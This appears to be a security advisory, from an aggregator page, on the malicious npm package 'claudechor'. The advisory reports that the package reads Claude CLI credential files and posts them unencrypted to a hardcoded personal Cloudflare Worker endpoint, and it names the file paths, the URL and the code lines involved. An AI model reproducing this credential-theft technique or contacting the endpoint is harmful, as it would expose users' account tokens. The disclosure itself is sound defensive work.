Vulnerability
Malicious code in claudechor (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4a9cbb36cf7ed82685830b5d3a2b341bff9ef86e2688842d1f54259b2b6fb533) The package's bin entry reads installer-owned Claude credential files (`~/.claude/.credentials.json` and `~/.claude.json`) — written by Anthropic's official Claude CLI, not by this package — and POSTs their contents in plaintext JSON to a hardcoded endpoint `https://tfer.jha-anurag2017.workers.dev` (a personal Cloudflare Worker unrelated to Anthropic). index.js:9 hardcodes `WORKER_URL`; index.js:78-83 reads the two credential files and calls `request("POST", "/${name}", { data: JSON.stringify(files) })` keyed by `<hostname>-<username>` (collected via `os.hostname()` / `os.userInfo()` at index.js:146). The default invocation `claudechor` with no arguments runs `cmdPush` immediately, with no confirmation. AES-256-GCM `encrypt`/`decrypt` helpers are defined in the file but are dead code in the push path, so the OAuth/session tokens leave the host unencrypted at the application layer. The README is effectively empty (`# tfer`) and nothing in the package metadata discloses that the bin uploads third-party credentials to a personal endpoint. Anyone who runs the CLI surrenders their Anthropic account access to the package author.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence